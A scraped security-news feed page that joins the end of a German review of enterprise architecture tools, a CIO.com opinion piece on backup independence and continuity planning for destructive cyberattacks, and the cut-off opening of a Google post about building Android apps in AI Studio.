<p class="wp-block-paragraph">Jede Mitarbeiterin und jeder Mitarbeiter im Unternehmen kann später von den Netzwerkvisualisierungen und Datenfluss-Diagrammen profitieren, um seine eigene Rolle optimal zu unterstützen und den Arbeitsplatz immer wieder anzupassen und zu modernisieren. Das Tool lässt sich mit den wichtigsten Cloud-Plattformen integrieren. Es bietet eine API, die individuelle Anpassungen in allen wichtigen Programmiersprachen (Python, C#, Java, etc.) ermöglicht.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>“Architektonischen Stress” bei Lastspitzen simulieren, falls größere Veränderungen bevorstehen;</p></li>



<li><p>Verstehen, wie verändertes Nutzerverhalten neue Anforderungen generiert;</p></li>



<li><p>Application Portfolio Management, um besser strategisch zu planen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://atollgroup.eu/samu-enterprise-architecture-tool/" title="Atoll Group SAMU" target="_blank" rel="noopener">Atoll Group SAMU</a></strong></p>



<p class="wp-block-paragraph">Das EA-Tool SAMU macht die Enterprise Architecture sichtbar, indem es tiefe Verknüpfungen zwischen On-Premises-Systemen, dem Cloud-Layer und Tools für das Business Process Management aufzeigt. Das Tool der Atoll Group bietet vielfältige Integrationsmöglichkeiten, zum Beispiel mit Monitoring-Tools (etwa Tivoli, ServiceNow), Configuration-Management-Datenbanken (zum Beispiel CA, BMC) oder Service-Organisations-Tools (BMC, HPE). Alle Informationen fließen in ein zentrales Datenmodell ein, das um den zusätzlichen Input der Stakeholder weiter angereichert wird.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Enterprise-Architektur visualisieren;</p></li>



<li><p>strategische Planungsprozesse und Architektur-Reviews mit Informationen unterfüttern;</p></li>



<li><p>mithilfe einer visuellen Verständnisgrundlage die Kommunikation verbessern.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.avolutionsoftware.com/enterprise-architecture/" title="Avolution Abacus" target="_blank" rel="noopener">Avolution Abacus</a></strong></p>



<p class="wp-block-paragraph">Dieses Tool erfasst die Breite und den Umfang der Unternehmensarchitektur mit Hilfe eines auf Diagrammen basierenden Dashboards. Die Integration mit gängigen Tools wie SharePoint, <a href="https://www.computerwoche.de/k/excel,3461" target="_blank" class="idgGlossaryLink">Excel</a>, Visio, Google Sheets, Technopedia oder ServiceNow vereinfacht die Nutzung. Abacus wurde inzwischen auch um einen Machine-Learning-Layer ergänzt, der es Anwendern ermöglicht, ein Modell zu trainieren, das ihnen beispielsweise hilft zu erkennen, wer im Unternehmen für welches System verantwortlich ist.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>die IT für das gesamte Unternehmen “öffnen”, um ein allgemeines Verständnis der Datenflüsse zu erzeugen;</p></li>



<li><p>umfassendes Enterprise Modeling, um eine Roadmap für künftige Entwicklungen zu erstellen;</p></li>



<li><p>Business-Metriken tracken, die mit der Unternehmens-Performance zusammenhängen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.boc-group.com/de/adoit/" title="BOC Group ADOIT" target="_blank" rel="noopener">BOC Group ADOIT</a></strong></p>



<p class="wp-block-paragraph">ADOIT soll Teams dabei unterstützen, Ressourcen zu verwalten, Bedarfe vorherzusagen und Assets zu tracken. Dazu mappt das Tool jedes System oder Softwarepaket mit einem Objekt. Die Datenflüsse zwischen den Systemen werden in Beziehungen umgewandelt, die von diesen Objekten mithilfe eines anpassbaren Metamodells erfasst werden. Geschäftsprozesse können auf ähnliche Weise über ein gut integriertes Begleitprodukt namens ADONIS modelliert werden. ADOIT ist Web-basiert und lässt sich auch mit Tools wie Atlassian Confluence integrieren, um die Datenerfassung und -entwicklung zu beschleunigen.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>ein unternehmensweites Modell erstellen, das bei sämtlichen Teammitgliedern ein Verständnis über den Stack schafft – und wie man diesen verbessern kann;</p></li>



<li><p>vollständiger Zugriff auf EA-Daten über eine Mobile-Anwendung;</p></li>



<li><p>bei Fusionen und Übernahmen den Tech-Bereich durch genaues Asset-Mapping orchestrieren.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a title="Mega Hopex" href="https://www.mega.com/hopex-platform" target="_blank" rel="noopener">Bizzdesign Hopex</a></strong></p>



<p class="wp-block-paragraph">Nach der Übernahme von Mega International zählt die Hopex-Plattform zum Portfolio von Bizzdesign. Sie soll dabei unterstützen, Unternehmensanwendungen zu modellieren und dabei ein Verständnis der von ihnen unterstützten Geschäfts-Workflows schaffen. Dabei liegt ein Schwerpunkt auf den Bereichen Data Governance und Risikomanagement. Hopex basiert auf Microsoft <a class="idgGlossaryLink" href="https://www.computerwoche.de/article/2732704/microsoft-azure-mit-der-deutschen-cloud-zu-neuen-geldquellen.html" target="_blank">Azure</a> und stützt sich auf eine Reihe offener Standards wie GraphQL und REST Queries, um Informationen aus Komponentensystemen zu sammeln. Das Reporting ist mit den Office-Tools von Microsoft sowie mit grafischen Lösungen wie Tableau und Qlik integriert.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>datengestützte Erkenntnisse herbeiführen, um Cloud- und Anwendungsbereitstellung zu steuern;</p></li>



<li><p>akkurate Nutzungsmodelle erstellen, um Architekturanforderungen zu verstehen;</p></li>



<li><p>eine Bedarfsschätzung mit Umfragen und anderen Tools vornehmen, um für die Zukunft zu planen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://bizzdesign.com/transformation-suite/horizzon" target="_blank" rel="noreferrer noopener">Bizzdesign Horizzon</a></strong></p>



<p class="wp-block-paragraph">Das Tool dient dazu, Business Workflows und den zugrundeliegenden Tech-Stack zu modellieren. Dazu bietet Horizzon ein Graph-basiertes Modell, das Daten von sämtlichen Stakeholdern einsammelt und diese an eine Analytics-Engine weitergibt. Im Ergebnis entstehen Diagramme, die den aktuellen Systemzustand widerspiegeln. Wichtige Schwerpunkte dieses Tools sind <a class="idgGlossaryLink" href="https://www.computerwoche.de/article/2777492/was-sie-ueber-change-management-wissen-muessen.html" target="_blank">Change Management</a> und Zukunftsplanung: Horizzon ist nicht zuletzt dafür konzipiert worden, die Risiken eines Redesigns zu minimieren. Das Toolset unterstützt die wichtigsten Frameworks ArchiMate, TOGAF und BPMN. Neben Mega hat Bizzdesign <a href="https://bizzdesign.com/press-releases/bizzdesign-adds-alfabet-business-following-successful-closing-mega-international" target="_blank" rel="noreferrer noopener">im Januar 2025</a> auch den EA-Geschäftsbereich der Software AG – Alfabet – übernommen.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Vorhersage zukünftiger Anforderungen durch Predictive Modeling;</p></li>



<li><p>Orchestrieren von Workflows auf der Basis der technischen und der Business-Architektur;</p></li>



<li><p>Antizipieren von Risiken sowie Security- und Governance-Problemen durch die Modellierung von Datensicherheitsanforderungen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.capstera.com/" target="_blank" rel="noreferrer noopener">Capstera</a></strong></p>



<p class="wp-block-paragraph">Das Tool von Capstera fokussiert darauf, die Business Architecture selbst abzubilden. Value und Process Maps helfen dabei, die Rollen der verschiedenen Unternehmensbereiche zu definieren und nachzuverfolgen. Dabei können im laufenden Prozess Verknüpfungen mit den zugrundeliegenden Softwarprodukten und Tools hinzugefügt werden.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Reports erstellen, die sich erst einmal mit der Business-Architektur selbst beschäftigen;</p></li>



<li><p>Beziehungen zwischen Menschen, Abteilungen und Rollen analysieren;</p></li>



<li><p>die langfristige strategische Planung vorantreiben.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.bee360.com/de/" title="Clausmark Bee360" target="_blank" rel="noopener">Clausmark Bee360</a></strong></p>



<p class="wp-block-paragraph">Teammitglieder, die Clausmarks Flaggschiffprodukt Bee360 (früher Bee4IT) verwenden, wollen eine einfache “Single Source of Truth” über die Workflows im Unternehmen. Ziel ist es, verschiedenen betrieblichen Rollen intelligentere Entscheidungen zu ermöglichen. Das Modul Bee360 FM (Finanzmanagement) bietet etwa die Möglichkeit, Kosten nachzuvollziehen und zuzuordnen. Die Anwender können verschiedene solcher Module miteinander verknüpfen, um EAM, Finanzmanagement, Portfolio Management und Agile Planning nahtlos zu integrieren – bei maximaler Transparenz. </p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>C-Suite-Ebene befähigen, Projekte zu managen und Assets zuzuweisen;</p></li>



<li><p>präzise digitale Zwillinge entwickeln, um ein Verständnis über Datenflüsse zu schaffen und künftige Erweiterungen zu planen;</p></li>



<li><p>integrierte Wissensdatenbank aufbauen, um alle digitalen Workflows zu tracken.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.enterprise-architecture.com/" title="EAS" target="_blank" rel="noopener">EAS</a></strong></p>



<p class="wp-block-paragraph">Das Essential-Paket von EAS (Enterprise Architecture Solutions) nahm als <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Open-Source</a>-Projekt seinen Anfang und hat sich inzwischen zu einer kommerziell verfügbaren Cloud-Lösung weiterentwickelt. Das Tool erstellt ein Metamodell, das die Interaktionen zwischen Systemen und Geschäftsprozessen beschreibt. Ebenfalls enthalten sind Pakete, um gängige Business Workflows wie Datenmanagement oder DSGVO-Compliance zu tracken.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>den technischen Reifegrad der eigenen Architektur evaluieren;</p></li>



<li><p>Sicherheit und Governance durch besseres Asset Tracking optimieren;</p></li>



<li><p>wachsende Systemkomplexität kontrollieren und managen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a title="Orbus Software iServer" href="https://www.orbussoftware.com/" target="_blank" rel="noopener">OrbusInfinity</a></strong></p>



<p class="wp-block-paragraph">Orbus Software hat Anfang 2025 die Akquisition seines Konkurrenten Capsifi <a href="https://www.orbussoftware.com/landing-pages/events/webinars/unlocking-the-future-orbus-acquires-capsifi-a-new-era-of-innovation-partnership-apac" target="_blank" rel="noreferrer noopener">abgeschlossen</a>. Der Anbieter stellt mit OrbusInfinity eine Enterprise-Transformation-Plattform auf KI-Basis zur Verfügung,  die schnellere, bessere Entscheidungen, Kosteinesparungen und Risikominimierung verspricht. Architecture-Teams sollen mit Hifle von OrbusInfinity mit einer Vielzahl von Stakeholdern interagieren können, um eine “digitale Blaupause” ihres Unternehmens zu generieren, die eine einheitliche Sicht auf das aktuelle und künftige Geschäft realisieren soll. Diverse Drittanbieter-Tools lassen sich außerdem mit der Plattform <a href="https://www.orbussoftware.com/product/integrations" target="_blank" rel="noreferrer noopener">integrieren</a>, darunter etwa von Microsoft, Flexera, ManageEngine oder ServiceNow. </p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Stakeholder-Management;</p></li>



<li><p>Enterprise-Landschaften visualisieren;</p></li>



<li><p>Entscheidungsfindung und Datenanalyse automatisieren.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.planview.com/de/" title="Planview Enterprise One" target="_blank" rel="noopener">Planview Enterprise One</a></strong></p>



<p class="wp-block-paragraph">Planview bietet eine ganze Reihe von Produkten, mit denen Unternehmen Teamwork, Prozesse und die Enterprise Architecture nachvollziehen können. Die Enterprise Tools sind in drei Kategorien unterteilt: strategisches Portfolio-Management, Produktportfolio-Management und Projektportfolio-Management. Im Zusammenspiel entstehen hardware- und Software-übergreifende Layer, die rollenbasierte Perspektiven für Führungskräfte und Teammitglieder eröffnen. Das Toolset integriert mit gängigen Ticket-Tracking-Systemen wie Jira, um Workflow-Analysen und Reports zu erstellen. Inzwischen hat Planview nach einer Übernahme neue Tools in sein Portfolio integriert, die früher unter den Namen Daptiv, Barometer und Projectplace bekannt waren.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>eine langfristige, strategische Vision für die Architekturentwicklung aufbauen;</p></li>



<li><p>Entwicklungsarbeit auf Projektebene tracken und in eine beliebige Strategie integrieren;</p></li>



<li><p>mit Fokus auf die Customer Experience und die Produktstruktur den Change vorantreiben.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.qualiware.com/" title="QualiWare Enterprise Architecture" target="_blank" rel="noopener">QualiWare Enterprise Architecture</a></strong></p>



<p class="wp-block-paragraph">Das Enterprise Architecture Tool von QualiWare ist Teil einer größeren Sammlung von Modellierungswerkzeugen, die darauf abzielt, sämtliche Geschäftsprozesse zu erfassen. Beispielsweise ist es möglich, einen digitalen Zwillinge zu bauen, mit dem sich Customer Journeys nachvollziehen lassen. Qualiware hat diverse KI-Algorithmen integriert, um Dokumentation und Process Discovery zu optimieren.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>ein kollaboratives Ökosystem für Business Manager aufbauen, das ein Verständnis von der Enterprise Architecture vermittelt;</p></li>



<li><p>architektonische Designelemente erfassen, um ein Wissens-Ökosystem rund um den Stack aufzubauen;</p></li>



<li><p>eine breite Beteiligung in Sachen Dokumentationserstellung und -überprüfung fördern.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.erwin.com/de-de/products/erwin-evolve/" title="Quest Erwin Evolve" target="_blank" rel="noopener">Quest Erwin Evolve</a></strong></p>



<p class="wp-block-paragraph">Das Erwin Evolve Tool von Quest hat sich von einem Datenmodellierungs-Tool zu einem System für Enterprise-Architecture- und Geschäftsprozess-Modellierung weiterentwickelt. Um die Komplexität moderner, ineinandergreifender Softwaresysteme und der von ihnen gemanagten Geschäftsprozesse zu durchdringen, können Anwender auf benutzerdefinierte Datenstrukturen zurückgreifen. Das Web-Tool erstellt Modelle, rollenbasierte Diagramme und andere Visualisierungen, die in allgemein zugängliche Dashboards einfließen. Zum Paket gehört ein KI-basiertes Modellierungs-Tool, das Whiteboard-Skizzen integrieren kann.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>einen digitalen Zwilling für die strategische Modellierung der Enterprise Data Architecture erstellen;</p></li>



<li><p>Customer Journeys verstehen;</p></li>



<li><p>Services und Systeme mit Application Portfolio Management tracken.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a title="LeanIX Enterprise Architecture Suite" href="https://www.leanix.net/de/produkte/enterprise-architecture-management" target="_blank" rel="noopener">SAP LeanIX Enterprise Architecture Suite</a></strong></p>



<p class="wp-block-paragraph">Die Tool-Sammlung von LeanIX umfasst unter anderem Enterprise Architecture Management und andere Bereiche, die für Aufgaben wie <a class="idgGlossaryLink" href="https://www.computerwoche.de/k/cloud-computing,3454" target="_blank">SaaS</a>– und Value-Stream-Management wichtig sind – etwa um Cloud-Deployments und darauf laufende Services zu tracken. Die Daten die dabei über die IT-Infrastruktur gesammelt werden, fließen in ein grafisches Dashboard ein. Das Tool ist eng mit wichtigen Cloud-Workflow-Tools wie Confluence, Jira, Signavio und Lucidchart integriert. Das ist für Teams von Vorteil, die diese Tools bereits nutzen, um ihre Entwicklungsstrategien zu planen und umzusetzen. Seit November 2023 <a href="https://www.leanix.net/de/unternehmen/pressemeldungen/leanix-gehoert-jetzt-zu-sap">ist LeanIX Teil von SAP</a>.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Anwendungsmodernisierung und Cloud-Migration managen;</p></li>



<li><p>Obsoleszenz von Software-Services evaluieren;</p></li>



<li><p>Kosten kontrollieren und managen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.servicenow.com/de/" title="ServiceNow" target="_blank" rel="noopener">ServiceNow</a></strong></p>



<p class="wp-block-paragraph">Die Tool-Sammlung von ServiceNow lässt sich auf verschiedene Architekturtypen herunterbrechen, darunter Assets, <a href="https://www.computerwoche.de/article/2785626/wie-devops-die-it-beschleunigen.html" target="_blank" class="idgGlossaryLink">DevOps</a>, Security und Service. Die Tools katalogisieren die unterschiedlichen Hardware- und Softwareplattformen, um Workflows und Datenflüsse im Unternehmen abzubilden und zu verstehen. Ausführliche Reportings und detaillierte Dashboards ermöglichen Analysen, auf deren Grundlage Risiken minimiert und die Ausfallsicherheit der Systeme erhöht werden können.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Tracken von Assets, Services und Systemen, die das Unternehmen ausmachen;</p></li>



<li><p>Governance-Themen, Risikobegrenzung, IT-Management und Security Operations werden in einer Plattform zusammengeführt;</p></li>



<li><p>durch die Integration von CRM-Tools lassen sich auch kundenorientierte Services managen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://sparxsystems.com/products/ea/" title="Sparx Systems" target="_blank" rel="noopener">Sparx Systems</a></strong></p>



<p class="wp-block-paragraph">Um Teams und Projekte verschiedener Größe und Komplexität zu unterstützen, hat Sparx vier Versionen seines EA-Tools entwickelt. Allen gemeinsam ist eine UML-basierte Modellierung, mit der sich die Komponenten komplexer Systeme tracken lassen. Eine Simulations-Engine ermöglicht “War Gaming” und vermittelt ein Verständnis darüber, wie sich Fehler ausbreiten und kaskadieren können. Sparx stellt zudem eine Vielzahl von vorgefertigten Design Patterns bereit, um Teams bei der Modellierung zu unterstützen.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Nachfrage- und Lastveränderungen zur Prognose künftiger Anforderungen simulieren;</p></li>



<li><p>(potenzielle) Probleme durch eine Verbindungs-Matrix im Auge behalten;</p></li>



<li><p>Dokumentation erstellen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.teamblue.unicomsi.com/products/system-architect/" title="Unicom System Architect" target="_blank" rel="noopener">Unicom System Architect</a></strong></p>



<p class="wp-block-paragraph">System Architect ist eines der Angebote aus Unicoms Team Blue. Es handelt sich um ein Tool, das ein Metamodell verwendet, um automatisiert so viele Daten wie möglich über die laufenden Systeme zu sammeln – manchmal auch durch ein Reverse Engineering von Datenflüssen. Dieses systemweite Datenmodell kann über benutzerdefinierte Dashboards Teammitgliedern aller Rollen zugänglich gemacht werden. Ein weiteres erwähnenswertes Feature: Die Ressourcenzuweisung lässt sich mit Hilfe von Simulationen optimieren.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Was-wäre-wenn-Fragen zum Architekturmodell stellen;</p></li>



<li><p>ein Metamodell von Daten und Systemen aufbauen;</p></li>



<li><p>Migrations- und Transformationspläne erstellen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.valueblue.com/bluedolphin" title="ValueBlue BlueDolphin" target="_blank" rel="noopener">ValueBlue BlueDolphin</a></strong></p>



<p class="wp-block-paragraph">Dieses EA-Tool sammelt Daten auf dreierlei Art:</p>



<ol class="wp-block-list">
<li><p>Es importiert Basisdaten auf der Grundlage standardgesteuerter Automatisierung (ITSM, SAM).</p></li>



<li><p>Es arbeitet mit den Dateiformaten von Architekten und Systemdesignern – etwa ArchiMate oder BPMN.</p></li>



<li><p>Es gibt Fragebögen an andere Stakeholder heraus, die auf anpassbaren Vorlagen basieren.</p></li>
</ol>



<p class="wp-block-paragraph">Die aufbereiteten Informationen werden in einer visuellen Umgebung bereitgestellt, die Auskunft über die historische Entwicklung von Systemen gibt.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>systemweite Daten von internen und externen Stakeholdern automatisiert und formularbasiert erfassen;</p></li>



<li><p>zukunftsorientierte Reportings erzeugen, um den Change zu überwachen und voranzutreiben;</p></li>



<li><p>Kooperation und Zusammenarbeit durch offenes Data Reporting fördern.</p></li>
</ul>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Artikel ist <a href="https://www.cio.com/article/196069/top-enterprise-architecture-tools.html" target="_blank">im Original</a> bei unserer Schwesterpublikation CIO.com erschienen. </strong></p>
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<title><![CDATA[Principles every enterprise must test before the attack arrives]]></title>
<description><![CDATA[I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.



Imagine this: A major global enterprise, a company mos...]]></description>
<link>https://tsecurity.de/de/3694398/it-security-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694398/it-security-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.</p>



<p class="wp-block-paragraph">Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”</p>



<p class="wp-block-paragraph">This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.</p>



<p class="wp-block-paragraph">As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:</p>



<h2 class="wp-block-heading">Recovery is not just a technical exercise</h2>



<p class="wp-block-paragraph">The first assumption to break during a real crisis is <a href="https://www.cio.com/article/4165019/your-cloud-strategy-is-incomplete-without-a-cyber-recovery-plan.html">the belief that recovery is purely technical</a>.</p>



<p class="wp-block-paragraph">Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can <a>point to</a> backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.</p>



<p class="wp-block-paragraph">The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.</p>



<p class="wp-block-paragraph">Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A <a href="https://www.veeam.com/company/press-release/veeam-report-reveals-a-market-wide-shift-from-recovery-confidence-to-proven-data-resilience-amid-ransomware-threats-and-ai-adoption.html">recent survey</a> found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.</p>



<p class="wp-block-paragraph">True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.</p>



<h2 class="wp-block-heading">Most business continuity plans ignore ‘total blackout’</h2>



<p class="wp-block-paragraph">I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.</p>



<p class="wp-block-paragraph">Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.</p>



<p class="wp-block-paragraph">This is also where boards need to change the conversation. A <a href="https://www.diligent.com/resources/research/cybersecurity-audit">study found</a> that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.</p>



<p class="wp-block-paragraph">That is the level of clarity leaders need.</p>



<p class="wp-block-paragraph">The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.</p>



<p class="wp-block-paragraph">The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.</p>



<p class="wp-block-paragraph">If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.</p>



<h2 class="wp-block-heading">Threat intelligence must be actionable, not archived</h2>



<p class="wp-block-paragraph">Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.</p>



<p class="wp-block-paragraph">If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested <em>before</em> the attack.</p>



<p class="wp-block-paragraph">Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.</p>



<p class="wp-block-paragraph">Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.</p>



<p class="wp-block-paragraph">Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.</p>



<p class="wp-block-paragraph">Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations <em>now</em>. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Build native Android apps in Google AI Studio]]></title>
<description><![CDATA[Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager

    Starting today Google AI Studio can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barr...]]></description>
<link>https://tsecurity.de/de/3693512/android-tipps/build-native-android-apps-in-google-ai-studio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693512/android-tipps/build-native-android-apps-in-google-ai-studio/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:46 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
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<div><div class="separator"><i>Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager</i></div></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVwPsGVUMbwR9wQP6ABNBXOWboTfwBPXTg-WwhpVo-nJsWJkXeFMUdU5lPsXYc6jh4bnFwI03EG8fIYgmwEkU8hUKHNgSfSYpDLzUgEX1kGLGoTXXfzqcIsh6ZVOHLcripkRitSymdVGwC0Hnwm1H6S-LdsKXLdkefuPp5mtBWC5H1ACTICDI_fNqsdoc/s4209/GoogleForDevelopers-AndroidCombo2-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVwPsGVUMbwR9wQP6ABNBXOWboTfwBPXTg-WwhpVo-nJsWJkXeFMUdU5lPsXYc6jh4bnFwI03EG8fIYgmwEkU8hUKHNgSfSYpDLzUgEX1kGLGoTXXfzqcIsh6ZVOHLcripkRitSymdVGwC0Hnwm1H6S-LdsKXLdkefuPp5mtBWC5H1ACTICDI_fNqsdoc/s16000/GoogleForDevelopers-AndroidCombo2-Blogger-4209x1253.png"></a></div><br><div><br></div>

